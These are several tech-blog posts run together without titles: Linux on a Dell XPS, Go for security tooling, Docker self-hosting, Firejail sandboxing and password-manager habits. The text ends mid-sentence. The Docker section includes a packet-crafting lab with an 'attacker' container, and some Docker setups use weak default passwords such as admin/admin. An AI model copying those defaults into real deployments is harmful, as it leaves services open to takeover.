I'm not sure about this one. I’m currently rocking Arch, and everything seems fine. But I had issues initially or maybe it was just a glitch. I haven’t stumbled upon much complaints about XPS mics on internet. So, It's safe to assume they work fine. Do your due diligence to be sure.

Global Keybinding Won't Work

Global keybinding won't work. What does that mean? This means that applications running in the background cannot respond to your shortcuts unless they are in focus. For example, you cannot start or stop screen recording in OBS-Studio via keybinds unless OBS-Studio is the active window. Similarly, if you press ALT + SHIFT + T to open a to-do app, it won't work unless it's focused.

However, shortcuts within individual applications like VSCode would work perfectly fine. This limitation is caused by Wayland's security features, which isolates each window from the others to protect your system from keylogging and screen capture assaults.

Same example explained here: Why Most Linux Distributions Are Insecure?

Key Takeaway: Only global keybindings are affected; application-specific shortcuts are still fully functioning.

Your Scripts May Not Work

If your scripts relies on X11 utilities, you'll need to rewrite them for Wayland compatibility. Thankfully, many alternatives to X11 utilities are available for Wayland that make the switch easy, like:

Chrome Browsers & Other Applications

Electron-based applications work fine on Wayland, and so do Chrome-based browsers, but there's a catch—they take about 2 minutes to start. Yes, you read that right! This is why I always recommend Firefox-based browsers. While Chrome browsers may run with slight display tearing (not that terrible).

Some applications, however, simply won’t work on Wayland, even with display tearing. The solution is to install a desktop environment alongside your window manager. Or you can try heavy configuration headache to make them work 😕.

• Brave vs LibreWolf : Privacy and Security Without Conditions 🔏

Fingerprint Senor Works Fine

Yaa! Finally, something that works! Believe it or not, having a fingerprint sensor that works on Linux is a big deal. Just like audio drivers, there aren't many systems out there that support fingerprint unlocking on Linux. But guess what? Dell XPS nails it! So, feel free to enjoy the smooth fingerprint unlocking.

Let's Talk About Hardware

First things first, I won't bore you with the XPS specs like CPU, GPU, or RAM because, honestly, they vary. And who has the time for that? This section is gonna be short and sweet. Remember, I'm a software person, not the hardware one.

Speakers: Bad Location

Dell XPS speakers are located on top of the chassis near the keyboard. Not on the sides, not on the back, but right on top. It may seem cool at first, but eventually it turns into a dust magnet. You'll be cleaning them more often than you'd like. I have to say, this might be the best place for better audio quality, but on Linux, we don't have much of a choice in the matter.

Keyboard: Too Spread Out

Everyone seems to love the XPS keyboards, but after trying out dozens of laptop keyboards, I have to say, this one feels weird. The keyboard is just too spread out. It’s great quality top-notch, but still feels off for some weird reason. It took me days to get the hang of it, whereas normally it only takes hours to adjust.

The internet loves to compare XPS keyboards to MacBook’s, claiming they’re equally good. Quality-wise, there’s hardly any difference, but I have to admit (I don't wanna say this 🤢) - the MacBook keyboard feels much better while typing.

Screen: Best OLED 4K

Did I mention that XPS has an amazing 4K OLED screen? Sure, it caused a lot of headaches in the software section, but come on, you’ve got to appreciate that stunning display. And let’s face it, eventually, we’re all gonna have to switch to Wayland anyway.

Speaking of the screen, have you noticed those bezels in cover image? They’re so tiny you might miss the camera if you’re not looking closely. Dell really nailed the design here.

Touchpad: Important Read This

Alright, gather round, folks. We need to have a serious chat about the touchpad situation on the Dell XPS. XPS had got this chronic issue of broken touchpads. Dell doesn't seem to take proper action on this. Maybe it's a design flaw, who knows? If you’ve got a busted piece, get it replaced. 'Cause you have withdrawn some serious cash for this machine.

Mine is broken too. is? The right click works, but it feels wonky compared to the left click. Did I bother to get it replaced? Nah, too lazy for that. I mean, if I can run an entire operating system full of errors, I can handle a dodgy touchpad, right? Arch user, by the way! 🤣

But seriously, you better get it replaced.

let's talk about touchpad feel.
Slipping on ice it's that smooth. But It gets patches for no good reason—again, design flaw, anyone?

Do you want a compression with Mac?
Here we go then, Feels better then MacBooks, it's too soft. But MacBook has better clicking mechanism. By the way, I don't understand after paying so much why dell doesn't use macbook's like motor clicking mechanism? anyway who even bothers clicking on a touchpad these days? (MacBook users 🤣).

Charger & Charging: Not Impressive

I don't like the charger built because of one reason spotted in the screenshot below. One wrong move and poof - charger is no more. And charging is slow it takes solid two hours to get fully charged. The battery lasts for 6-7 hours while programming without GPU usage.

USB Ports: Okayish

The Dell XPS 15 rolls in with four ports. Three USB Type-C ports and one useless SD Card slot. But hey, Dell is not Apple. They ship an external adapter which has a HDMI and a USB slot.

One Hand Opening: Can't Do That

Have you seen people bragging about opening their laptop lid with one hand or finger? Ya! that's thing in non-tech people (few tech once too). But you can't do that in XPS. Despite its solid build, the design doesn't leave enough space to allow for easy one-finger or one-hand opening. So, You gotta use both hands.

Carbon Fiber: Don't Finger That

Dell XPS is equipped with Carbon Fiber which people really seems to care about but I don't. Carbon fiber make XPS lightweight. I won't necessary call it lightweight machine. And this carbon fiber is externally coated with a rubber-thingy plastic material. Don't touch that, finger that or nail that otherwise it'll peel off and trust me, you don't want that. Why? It won't look good, I know it and I'm telling you. Just jussst keep your hands off from it. OKAY OKAYYY.

Of course, If you're an Arch user, chances are you have more important things to worry about than that stupid, non-sense carbon fiber coating.

Personal Experience

So, do I regret buying the Dell XPS? Surprisingly, NO. This blog post is plotted around challenges that a Linux users may face with high-end machines sporting a 4K display like the XPS. However, what you may not realize is that there's no real competition for the Dell XPS in the market. It’s a powerful, jam-packed machine.

Sure, I had my doubts at first. I mean, who wouldn’t? Suddenly, my favorite Linux OS Archcraft and it's themes were out of the picture, and I was thrown into uncharted territory. But you know what? Sometimes, it’s those unexpected twists that lead us to the greatest discoveries. And let me tell you, this journey with the Dell XPS? It’s been one wild ride, marking the third J curve in my Linux journey (first was switching to Linux, second was switching to window manager). Who knew a laptop could shake things up so much?

Hyprland: The J Curve

By now I had two things crystal clear in my mind. One, I have to switch to Wayland. And two, No way I'm turning back to cozy desktop environments like Gnome. Nah, not my style. I was a BSPWM kind of person, craving that minimalist vibe. And then came Hyprland — a Wayland compositor. With its flashy animations and user-friendly documentation, Hyprland had me sold. Looking on the bright side: if it wasn’t for the XPS, I probably wouldn’t have taken the plunge into Wayland, the future of Linux. And you know what? Everything's running smoother than ever now.

Conclusion

So, here’s the deal with the Dell XPS—it is is a powerful laptop, there are difficulties when using Linux on it. With Wayland, the desktop environments of GNOME and KDE provide improved compatibility through a hybrid method. Projects like Hyprland and Sway are also working to bring that experience with a pure wayland implementation in windows managers.

Overall, once you get the hang of it on Linux, there’s no turning back. I mean, after this bad boy, I haven’t spared a second thought on resources management. And if you want a setup guide for Hyprland than let me know.

I hope you found this helpful. Thanks for sticking around!

However, Python has few limitations. For one, you need an interpreter to execute Python code. This becomes an issue during vulnerability assessments, since most target machines don’t have Python preinstalled. To work around this, I often switch to compiled or platform-specific languages like C or PowerShell.

Another issue is that it’s not easy to ship closed-source code in Python 👀. Ya! I'm a big proponent of open-source, but sometimes you need to work with closed-source applications as a software engineer. So, I can't just ignore that.

Lastly, Python can be slow—the same old argument, but it’s still true to some degree. It hasn’t bothered me much because I wasn’t working on projects that required extreme speed. Python has some optimizations (like using C extensions) that make it fast enough for most tasks, especially in AI/ML. So, for me, this is the least problematic of the issues.

I needed a language that’s compiled and fast—Golang and Rust both fit these requirements. Then why Go?

Here’s why:

1. Python’s limitations are clear, but when it comes to development, the sky’s the limit. As I mentioned, I usually work with network-based applications, so I don’t need to get into low-level stuff like kernel modules, which Rust is better suited for.

2. Go is cross-compilable, which is a huge advantage for penetration testing across multiple platforms. I can write closed-source tools more easily, and it's fast. Go is also widely adopted in cybersecurity, especially in cloud.

Rust has these same benefits, except for cloud computing. But Rust has a steep learning curve and lacks a smooth development experience. For me, the ability to quickly write prototypes is crucial. If I can’t rapidly translate ideas into code, my productivity takes a hit.

3. Maintenance is another factor. No language is as easy to maintain as Python, but Rust makes things more complicated with its unique features. Go, on the other hand, is much simpler when it comes to maintenance and keeps development smooth.

4. Speaking of speed, when I’m dealing with tasks like bulk file uploads, the speed difference between Go and Rust is usually negligible. Network bandwidth will always be the higher bottleneck, than the speed of execution in the code itself.

5. Concurrency in Go is another key factor. Go’s implementation for handling async operations is far better than Python’s. In Python, threading and multiprocessing still feel like workarounds. In Go, the concurrency model is built into the language and feels much more natural and efficient.

So, why GoLang and not Rust?

Because I need a compiled language that can run without the need for an interpreter or compiler dependency. I want to easily develop closed-source tools, with a language that is fast enough and doesn’t require excessive development time. Go is also widely adopted, like Python, and is well-suited for tasks like Web/API Development and Cryptography.

In short, Go strikes the right balance for my needs, while Rust, though powerful, feels less practical for my day-to-day development.

Today, I won't delve into how organizations utilize Docker for all their needs. Instead, I'll demonstrate how you, as an individual, can leverage Docker for a multitude of purposes.

Prerequisites

1. Basic understanding of Docker

2. Active Docker instance

The Realm of Self-Hosting

Self-hosting is a wild ride. Here, you must decide what you want to self-host and why. Do you desire an offline ChatGPT or a reverse proxy to manage your traffic? It has plenty of that and of course we are going to discuss some of them today. Self-hosting involves running services on your infrastructure instead of relying on external providers. This grants you control over data and privacy, brings cost savings, and crucially, enhances your skill set.

Where to find self-hosting alternatives

1. Explore Awesome-Selfhosted GitHub Repository, Their are plenty of options.

2. Check if the products you use offer Docker images for self-hosting.

3. Try searching with the term "Self-host <product name>" for more options.

Ollama: Self-Hosting LLMs like ChatGPT

Ollama is a streamlined tool designed for running LLMs (Large Language Models) locally. Ollama offers a wide range of models, including Mixtral, Llama-3, CodeLlama, and more. Getting started with Ollama is straightforward.

Step 1: Pull ollama docker images and start the container

docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama

Step 2: Run any model ollama support like llama2

docker exec -it ollama ollama run llama2

Try different models at Ollama library.

GPU Support

If you have an Nvidia graphics card, you can leverage GPU processing power within Docker containers. This is particularly beneficial for tasks requiring intensive computation, such as hosting a Large Language Model (LLM). I recommend following the official Nvidia guide for adding GPU support, as the steps may vary over time. Check out the NVIDIA Container Toolkit Installation guide for detailed instructions.

• Start the container with GPU using --gpus=all

  docker run -d --gpus=all -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama
  

If You Like a User-Friendly, ChatGPT-Style Web Interface for Ollama. Then Ollama-WebUI is a place to go, yes you can also self-host ChatGPT like Web UI. You should also check out Stephen M. Walker II blog post on Ollama: Easily run LLMs locally.

ownCloud: Your Personal Google Drive

Absolutely! Just bear in mind that ownCloud stores data in Docker volumes, not on the standard file system. ownCloud offers numerous additional benefits, including file encryption (unlike Google Drive), OneDrive-like file sync, and Multi-Factor Authentication. Check out the ownCloud website for a comprehensive feature list.

Let's Setup ownCloud

Step 1: Create a new project directory.

mkdir owncloud-docker-server
cd owncloud-docker-server

Step 2: Create a file docker-compose.yml under project's directory.

version: "3"

volumes:
  files:
    driver: local
  mysql:
    driver: local
  redis:
    driver: local

services:
  owncloud:
    image: owncloud/server:${OWNCLOUD_VERSION}
    container_name: owncloud_server
    restart: always
    ports:
      - ${HTTP_PORT}:8080
    depends_on:
      - mariadb
      - redis
    environment:
      - OWNCLOUD_DOMAIN=${OWNCLOUD_DOMAIN}
      - OWNCLOUD_TRUSTED_DOMAINS=${OWNCLOUD_TRUSTED_DOMAINS}
      - OWNCLOUD_DB_TYPE=mysql
      - OWNCLOUD_DB_NAME=owncloud
      - OWNCLOUD_DB_USERNAME=owncloud
      - OWNCLOUD_DB_PASSWORD=owncloud
      - OWNCLOUD_DB_HOST=mariadb
      - OWNCLOUD_ADMIN_USERNAME=${ADMIN_USERNAME}
      - OWNCLOUD_ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - OWNCLOUD_MYSQL_UTF8MB4=true
      - OWNCLOUD_REDIS_ENABLED=true
      - OWNCLOUD_REDIS_HOST=redis
    healthcheck:
      test: ["CMD", "/usr/bin/healthcheck"]
      interval: 30s
      timeout: 10s
      retries: 5
    volumes:
      - files:/mnt/data

  mariadb:
    image: mariadb:10.11 # minimum required ownCloud version is 10.9
    container_name: owncloud_mariadb
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=owncloud
      - MYSQL_USER=owncloud
      - MYSQL_PASSWORD=owncloud
      - MYSQL_DATABASE=owncloud
      - MARIADB_AUTO_UPGRADE=1
    command: ["--max-allowed-packet=128M", "--innodb-log-file-size=64M"]
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-u", "root", "--password=owncloud"]
      interval: 10s
      timeout: 5s
      retries: 5
    volumes:
      - mysql:/var/lib/mysql

  redis:
    image: redis:6
    container_name: owncloud_redis
    restart: always
    command: ["--databases", "1"]
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 10s
      timeout: 5s
      retries: 5
    volumes:
      - redis:/data

Step 3: Create a .env configuration file, which contains the required configuration settings.

cat << EOF > .env
OWNCLOUD_VERSION=10.14
OWNCLOUD_DOMAIN=localhost:8080
OWNCLOUD_TRUSTED_DOMAINS=localhost
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
HTTP_PORT=8080
EOF

Step 4: Edit .env and docker-compose.yml as you wise like passwords of admin & mysql account or port number etc.

Step 5: Then build and start the container.

docker-compose up -d

Step 6: Visit http://localhost:8080 in browser and start using your ownCloud.

For more information about OwnCloud, visit the OwnCloud Deployment Documentation. If you're planning to use OwnCloud seriously, I highly recommend that because what I've showcased is merely a playground setup.

Kasm Workspaces: Disposable Virtual Machines

If privacy and security are top priorities, then Kasm Workspaces is invaluable. It allows you to spin up an entire operating system within seconds. Some of you may be familiar with services that enable users to create disposable virtual machines on the cloud. Once you're finished with them, simply delete them.

Especially Helpful

1. Running untrusted files securely.

2. Testing software on various Linux variants safely.

3. Avoiding fingerprinting on the internet effectively.

https://youtu.be/1mb835Qsx-8?si=J1TID4a0cgf_vohF&t=5

Running Kali-Linux w/ GUI

sudo docker run --rm -it --shm-size=512m -p 6901:6901 -e VNC_PW=password kasmweb/core-kali-rolling:1.14.0

Above command will start a server on 0.0.0.0:6901, now you can access Kali-Linux from browser via https://0.0.0.0:6901.

Default Credentials

• Username: kasm_user

• Password: password

You can find more images under Kasm Technologies official DockerHub account.

Practical Lab: Understanding Network Protocols with Docker

Docker can be leveraged to clarify IT concepts such as networking. If you're interested in understanding "how do network protocols work?" then the combination of Docker, Scapy, and Wireshark is the optimal approach. Sometimes, I'm inclined to think that teaching network protocols without these tools should be prohibited.

Let's illustrate with an example. Suppose I want to understand "how would a machine react if I send random SYN/ACK packets?"

Step 1: Create two docker containers attacker and victim under same network.

docker network create mynetwork && \
docker run -d --network mynetwork --name attacker kalilinux/kali-rolling && \
docker run -d --network mynetwork --name victim kalilinux/kali-rolling

Step 2: Install scapy in attacker's machine. Write a script to send SYN/ACK packets (just google).

Scapy is a robust packet manipulation tool that enables users to craft, manipulate, send, and capture network packets across various layers of the OSI model. With Scapy, you can generate customized packets for network testing, analysis, and penetration testing.

Step 3: Capture traffic using Wireshark on the mynetwork interface. This will help filter out any unnecessary packets in the network.

Portainer: Ultimate Toolbox for Container Management

Portainer is an open-source toolset that enables users to effortlessly build and manage containers across Docker, Docker Swarm, Kubernetes, and Azure ACI. It doesn't take long to realize that handling numerous containers can be daunting, but Portainer's Web UI streamlines the process. Users can easily manage containers, stacks, networks, and more with just a few clicks.

Step 1: First, create the volume for Portainer to store its database.

docker volume create portainer_data

Step 2: Pull and install the Portainer Server container.

docker run -d -p 8000:8000 -p 9443:9443 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest

Step 3: Visit http://localhost:9443 in browser and start using it.

Conclusion

Docker is an invaluable skill set to possess, especially for distributing software packages. The software we discussed can be installed directly into your system, but the effort and maintenance required are significantly higher in comparison to Docker.

Personally, I use all the tools discussed above as my daily drivers, and of course, there are many other amazing things you can do with Docker. Just experiment, like learning about network protocols. If you have any amazing software, experiments, or anything else to share, feel free to do so in the comment section.

That's It For Today, See Yaa!

To get started, let's delve into how Firejail operates and then explore how seamlessly you can incorporate it into your security toolkit.

What is Sandboxing?

Sandboxing is a security mechanism for running programs and processes inside an isolated environment with limited access to resources. What happens in the Sandbox stays in the Sandbox; I mean, it won't affect your host machine, just like virtual machines. The concept of sandboxing is not new; many of us unknowingly engage with sandbox-enabled programs daily. Web browsers, Snap or Flatpak packages, and Electron-based software like Discord and VSCode use sandboxing for security purposes.

LiveOverflow has an insightful video explaining Browser Sandboxing.

https://www.youtube.com/watch?v=StQ_6juJlZY

Why use Firejail?

The most secure way to live in a virtual world is to live in a virtual machine. Of course, That's not practical for everyday users, and that's why we have tools like Qubes and Whonix. But to be honest, they can also be somewhat daunting for the average user.

And most of us don't require these high threat model tools. We aren't hiding from Governments or intelligence agencies like Edward Snowden. Instead, we're concerned about more common scenarios. Picture your friend who recently discovered malware and unknowingly sent one within a PDF. In these situations, what we need is a middle ground like Firejail that strikes a balance between security and usability. A solution that seamlessly integrates into our everyday work environment.

How do I use Firejail?

So let's be real, I don't use Firejail for every single application. I mainly leverage Firejail for two specific purposes:

1. For Viewing Documents or PDFs

2. Running Untrusted Applications, Especially GitHub Packages

Why not AppArmor, Snap or Flatpak?

AppArmor

1. Unlike Firejail, AppArmor demands some initial configurations.

2. However, AppArmor stands as a viable alternative to Firejail, and we can delve into its merits—feel free to comment below if interested.

Snaps & Flatpak

1. Both Offer Limited Control Over Applications.

2. While not every application comes with a Snap or Flatpak package, Firejail outshines by running any application in a sandbox, irrespective of packaging.

3. Flatpak, due to package size concerns, isn't my preference.

4. Unlike Firejail, Snaps & Flatpak lack internal access to the sandbox.

5. Simplicity is on the side of Snaps & Flatpak, making them more beginner-friendly.

Someone on internet said "Snaps and Flatpaks ensure security based on developers' intentions, whereas Firejail is an additional layer you can incorporate into an application for enhanced security". Notably, Flatpak can be fine-tuned with Flatseal.

How does Firejail work?

Firejail is a command-line utility that uses security profiles. It comes bundled with thousands of well-known software profiles, giving Firejail a significant advantage over other similar tools. These profiles are located under /etc/firejail, contain crucial specifications dictating an application's behavior. For instance, my PDF viewer is confined to the Downloads directory, with no internet access. Moreover, Firejail extends its functionality to custom profiles, enabling users to run lesser-known software within a protected environment.

Running applications under the Firejail Sandbox is quite easy; just prefix your command with "firejail". E.g.

$ firejail firefox                       # starting Mozilla Firefox
$ firejail vlc                           # starting VideoLAN Client

The underlying technology that powers Firejail and other similar programs like Docker, Flatpak, Snaps is Linux Namespaces.

LiveOverflow also has an amazing video about Namespaces, definitely worth checking out.

https://www.youtube.com/watch?v=-YnMr1lj4Z8

Firejail Basics and Workflow

Installation

Firejail can be conveniently retrieved from the official Linux repository using your distro's package manager.

Arch Linux

sudo pacman -S firejail

Debian/Ubuntu Linux

sudo apt install firejail

Sandboxing Firefox

The following command will open Firefox in a sandbox environment with a specific set of requirements.

firejail --x11 --private --net=eth0 --dns=1.1.1.1 --dns=9.9.9.9 --hosts-file=~/adblock firefox --no-remote

• Default Setup

  • --no-remote -> Prevents opening new tabs or windows attached to the existing Firefox process.

• Private Browser Setup

  • --private -> Initiates Firefox with an empty home directory, resulting in a factory default browser configuration.

  • --dns=1.1.1.1 -> Specifies a custom DNS configuration for your sandbox.

• Network Setup

  • --net=eth0 -> Assigns a random, unused IP address from the specified interface.

  • --hosts-file=~/adblock -> Adds a hosts file implementing an adblocker.

• X11 Sandbox

  • --x11 -> Prevents X11 keyboard loggers and screenshot utilities from accessing the X11 server.

By default, Firejail assigns random IP and MAC addresses to your sandbox, disappearing once the sandbox is closed. Firejail can run multiple applications in parallel, each with a different IP address.

Sandbox Internal Access

Firejail also provides a way to verify that Firefox is indeed running inside a sandbox.

List all running sandboxes:

   ~ firejail --list
26893:flarexes::firejail --private=/home/radowoo/Downloads --dns=9.9.9.9 firefox --no-remote

Attach to the Firefox sandbox using its ID.

   ~ firejail --join=26893

This allows you to initiate a shell within the Firefox sandbox.

Firejail Profiles

Profiles offer a streamlined approach to lengthy Firejail commands. For instance, in the case of Firefox, Firejail already includes a dedicated profile. As highlighted earlier, Firejail is equipped with an extensive library of pre-configured profiles for well-known applications.

Executing the Firefox command with its profile is straightforward:

   ~ firejail --profile=firefox firefox

Simple enough right? All the pre-bundled profiles can be found at /etc/firejail, If you ever find the need to tailor your security measures.

Custom Profiles

When Firejail lacks an application-specific profile, take matters into your own hands by creating one. For a more organized workflow, it's advisable to store custom profiles under ~/.config/firejail instead of the present working directory.

Step 1: Build a Custom Profile

Launch a terminal and execute the following command. This builds a custom profile named my-app.profile for the application my-app:

   ~ firejail --build=my-app.profile my-app

This command runs my-app in a sandboxed environment, recording the system calls it makes.

Step 2: Edit and Refine the Custom Profile

Refining your profile involves the following steps:

1. Open the my-app.profile file using a text editor.

2. Compare the generated profile with existing similar profiles in the /etc/firejail directory.

3. Select the necessary features, referring to Arch Docs.

Step 3: Launch the Application with the Custom Profile

After refining the custom profile, launch the application using it with the following command:

   ~ firejail --profile=~/.config/firejail/my-app.profile my-app

This command initiates the application my-app within a sandboxed environment, harnessing the tailored security measures you've crafted.

Desktop Integration with Firecfg

Firecfg is command-line utility comes pre-packaged with firejail. It allow users to streamline the process of desktop integration.

Below command will create symbolic link of every possible application installed on your system. These symbolic links will allow the applications to start under Firejail automatically, and you can also launch apps from menu without any further modification.

sudo firecfg

List all firejail symbolic links.

firecfg --list

Remove all firejail symbolic links.

sudo firecfg --clean

It's important to note that by default Firecfg will use default profiles relative to the applications.

Conclusion

In a world full of digital risks, securing our online activities is crucial. Firejail stands out as a flexible solution, offering a middle ground between high-security options like Qubes or Whonix and the practical needs of everyday use cases.

With a simple prefix to commands, users can launch applications in a secure sandbox effortlessly. Whether it's browsing documents, viewing PDFs, or cautiously running applications from untrusted sources.

In essence, Firejail, a Linux command-line utility focused on enhancing privacy and security through sandboxing. We have explored how Firejail operates using security profiles, its installation process, and examples of sandboxing applications like Firefox. Whether you desire a straightforward approach or a more sophisticated, Firejail can do both.

Resources

If You Wanna Study Firejail In-Depth Check Resources Below:

1. Fixing X11 Vulnerability:

   • X11 Guide

   • Probably the best X11 sandboxing guide out there!

2. Sandboxing AppImage:

   • AppImage Support

3. Profiles:

   • Building Custom Profiles

   • All Profiles Feature

4. Firejail Guide On Linux Capabilities:

   • Linux Capabilities Guide

5. Video Guides:

   • Firejail Video Guides

Thanks For Reading, Bye 👋

Double Blind Password aka Horcruxing

While threat modeling for security and privacy, it is always best to assume the worst case. In the case of a password manager, there could be three worst-case scenarios on which we don't have any control. First, what if a threat actor gets access to your password manager? Secondly, what if the password manager itself goes rogue? And the last one, what if there is a zero-day in the password manager? So, To prevent all these kinds of attack vectors, we use Double-Blind Password.

In Horcruxing, while creating or updating an account password, instead of solely relying on a password generated by an automated password generator, we take a layered approach: begin by generating a random password utilizing a password manager. Then append a passphrase to the generated password. The outcome? Your vault retains only the password manager's generated portion, while you remember the second half in brain memory.

For instance, I am creating a GitHub account.

1. Random Password Generation: Initiate account creation with a randomly generated password from your trusted manager, e.g., e95hJ[2Bif$N7B.

2. Adding a Personal Passphrase: Strengthen the password by appending a personal passphrase—like vampires-exists. The combined result is e95hJ[2Bif$N7Bvampires-exists.

   e95hJ[2Bif$N7B + vampires-exists = e95hJ[2Bif$N7Bvampires-exists

3. Split and Store: Store only the first half in the password manager, ensuring the second half remains memorized by you.

This trick is quite famous. Privacy and Security professionals use it when they do not want to put 100% trust in password managers, but at the same time, they are also avoiding many worst-case scenarios.

Mistakes to Avoid

1. Do not overcomplicate stuff just use one or two secret phrases for every account.

2. Do not take the overhead of placing the crux in between. Just paste it at the rightmost or leftmost of the base password.

3. Do not select too long, too short or extremely random string as a secret phrase because you will have to remember that.

4. Use a simple, uncommon, 8-12 characters long passphrase.

Manage Non-Deletable Accounts

If you are like me, who has hundreds of passwords in the vault, then you might have stumbled upon an online service that does not allow account deletion. They tend to stay there forever, and you forget about them. This is definitely a real issue 'cause there is no proper solution around this situation. And, just leaving information on the internet is not a good practice because these online services will keep sharing your data with 3'rd parties, and sometimes this data includes our financial information like credit card details. That's why it is crucial to remove and reduce your online footprints. There are a few ways to minimize this factor if not mitigate it completely.

Step 1: Forge as much information as you can. Change name, address, username, e-mail etc.

Step 2: Create a separate folder as non-deletable in your password manager. That will hold the credentials of these online non-deletable accounts.

Step 3: Keep track of these accounts periodically e.g. 3 or 6 months. So in future, if any of these services add the deletion functionality, you can delete them, and then you should delete the corresponding entry from the password manager.

Step 4: A foolish advice, Why don't you just check if any online service allows deletion before signup? Do I do it? No. Should you do it? Yes.

Handle Different Types of Credentials

Password managers are not just good at storing passwords and usernames. They are also efficient at handling complex authentication mechanisms. For instance, S3 bucket Passphrase, API keys or Secrets; all need to be stored somewhere securely. That's the reason there is a redundant extra field named Notes or Description. Ya! This is my favorite place to store extra credentials associated with a particular account.

I also use this Notes field for other purposes, like for my SimpleLogin account. I save three or four just in case of temporary e-mail addresses provided by SimpleLogin, so I do not have to log in to SimpleLogin again and again. Convenient Nah.

Few more uses where the Notes feature can be quite helpful, like:

• SSH keys

• API Tokens

• License Keys

• Security Questions and Answers

Should you store recovery phases in the Notes field?

Storing account recovery passphrases and recovery codes in the password manager can come quite handy when you cannot access your OTP or you completely lose access to your account. And, There is no issue with that if you trust your password manager. But I do not. I blindly do not trust any online password manager because in the end, nothing is 100% secure, and they could be vulnerable to zero-day exploits. Also, It breaks the Trust boundary on which I rely. I don't trust Password managers completely, but I still use and recommend them because I rely on 2FA (2-Factor Authentication). So, if in the rarest of the rarest cases, my Password manager goes rogue, they still cannot access my accounts because they will not have my 2FA code to authenticate.

And that's the gimmick If you store recovery passphrase and recovery codes in a Password manager, you're unknowingly but willingly giving full access account to your Password manager. In only case, I would do this, when I am using an offline password manager. So, there are two solutions that I can think of:

1. Paste all the recovery passphrases and recovery codes of every single account in a text file then encrypt it, and now you can store it in the Password Manager as an attachment.

2. Save them offline and have backups at multiple SECURE places.

Pro Tip: I usually store recovery codes in KeePassXC (an offline password manager). Because it encrypts them with AES-256. And then I store the KeePassXC database somewhere at a secure location.

Special & Powerful Features Of Password Manager

Now, we are done with the personal tips and tricks section. So, it is time to focus on Features that you are not using or aware of. And some features can take your productivity to 10X.

Two-Factor Authentication Integration (TOTP)

Yes, Many password managers allow 2FA functionality as well, which makes a login process more convenient. Password manager will also autofill the OTP that you usually copy-paste from an authenticator app. This functionality will not work if you use SMS-based OTP. If you do not know the TOTP setup process, then you can follow articles one or two. If you are using a different password manager, then do not worry the process would be the same for them too.

1. Bitwarden Authenticator (TOTP)

2. How to use 2FA in Proton Pass

But I, security and privacy experts do not recommend this. , the answer I already explained above is that by handing over username, password and OTP, you are putting 100% trust in your password manager. And, If you do trust your password manager, then what would you do in a situation where you forget to lock the password manager and a threat actor gets access to all your accounts, including their OTPs.

The only factor that gives me the confidence to share my passwords with some companies is OTP, and by doing this, I will lose that confidence. Again, On one condition, I would prefer this feature in the case of offline password managers like KeePassXC.

Custom Fields

The Custom field is one of the most ignored features. In most cases, Username, Password and URL fields are enough, but in some situations, you might require an extra field that you can autofill. For example, In ProtonMail, you can set two passwords, one for login purposes and the second one to decrypt emails. In this, if you want to store the second password in the Password Manager, then you will require an extra custom field. You can use Note sections too, but then you will miss the autofill functionality.

Few more use cases where the Custom Field feature can come in handy like:

• API Tokens

• License Keys

The general rule of thumb is if you require an autofill field, and you use it multiple times you should use Custom fields otherwise for long strings or input fields with multiple options stick with the Notes section.

Pro Tip: It is crucial to verify that your Password Manager encrypts all fields including the custom field and the same goes for Note's sections.

E-Mail Aliases

If you are not aware of this feature, then you're missing a lot not just in Privacy and Security but in terms of fighting against spammers. Before I explain this, I want you to know e-mail aliasing or e-mail relaying is an external feature and can be used standalone without any password manager. Now, let's talk about what the hack is this E-Mail Relaying. Simply put, It's all about creating temporary or fake e-mail addresses but in a much more effective way. I will explain this with the example of SimpleLogin, an e-mail relay or aliases provider.

So, When you sign up for a SimpleLogin account, they will provide you with 10 e-mail addresses for free. You can delete or create new e-mail aliases with just one click. The benefit you get is that whenever somebody sends you mail on any of the 10 e-mails that you have created on the SimpleLogin account will be forwarded to your original e-mail account that you signed up with. So, you don't have to use your real e-mail address, and this is especially helpful for newsletters or signing up different accounts with different e-mails, but they all will be forwarded to real addresses. Just like illustrated in the below diagram from SimpleLogin.

Now, Imagine this feature is integrated directly into the password manager. Sign up anywhere without worrying about potential E-Mail leaks.

Emergency Access, Prepare Password Manager For Dead

Who will cry when you die? The ones who will not have access to your password manager because that is where you store online banking, social media, and all other credentials. That's why we need to prepare our password managers for the dead or for any emergency situation where you can't access it, but your family members should be able to. Different providers use different approaches to give emergency access to the vault to your trusted individual. It is also possible to share a vault with your family members where you keep credentials that are common to each other. So, If you trust them, you can also store banking details there, but this model is not suitable for businesses and in cases where you require full access to the vault e.g. social media accounts. In most password managers, this is a Premium feature.

Honorable Mentions

I didn't cover a few niches, but they are worth mentioning here. I didn't include these features because most people know they exist, but they don't use them often because they are hidden behind paywalls.

Password Auditing

This is one of the most marketed features of many password managers for selling premium. This feature helps you to stay aware if your credentials have been leaked in a data breach. I never felt I needed it because I use a strong and lengthy password. But this could be a good feature from the security standpoint of view for an enterprise to audit password policies. One thing to keep in mind is that If you're purchasing a password manager for this particular purpose, then always verify that they also protect against Darkweb leaks and other types of credentials like Credit Card, E-mail etc. Because some organization is charging you for just password leaks then it's just useless. You can do it for free on HaveIBeenPwned, and if you aren't comfortable pasting your credential on a webpage, then you can use a utility Check-Breach that I wrote. Check-Breach checks for password leaks on HaveIBeenPwned Database without sending original password and hash digest, it achieves this via K-anonymity method. Few password managers also provide these features for free like Bitwarden.

Encrypted File Storage

There are very niche cases where you will store attachments in a password manager. Having a separate encrypted file storage provider would be a much better option. Of course, in the business world possibilities are endless. For personal usage, of course, you can store recovery codes pdfs, but first I don't recommend it as discussed above in the, Should you store recovery phases in the Notes field? section, and secondly, I could just copy and paste them in a secure notes section if I really want to. But you can save your driver's license or government ID telling the password manager exactly who you are. Security isn't the only thing I care about, Privacy is also important to me, which ends up making me paranoid.

My Password Manager Recommendation

Yep! Everyone's most favorite and never-ending topic, Top 5 Password Managers That Will Make You Super Secure. The First position in this list goes to:

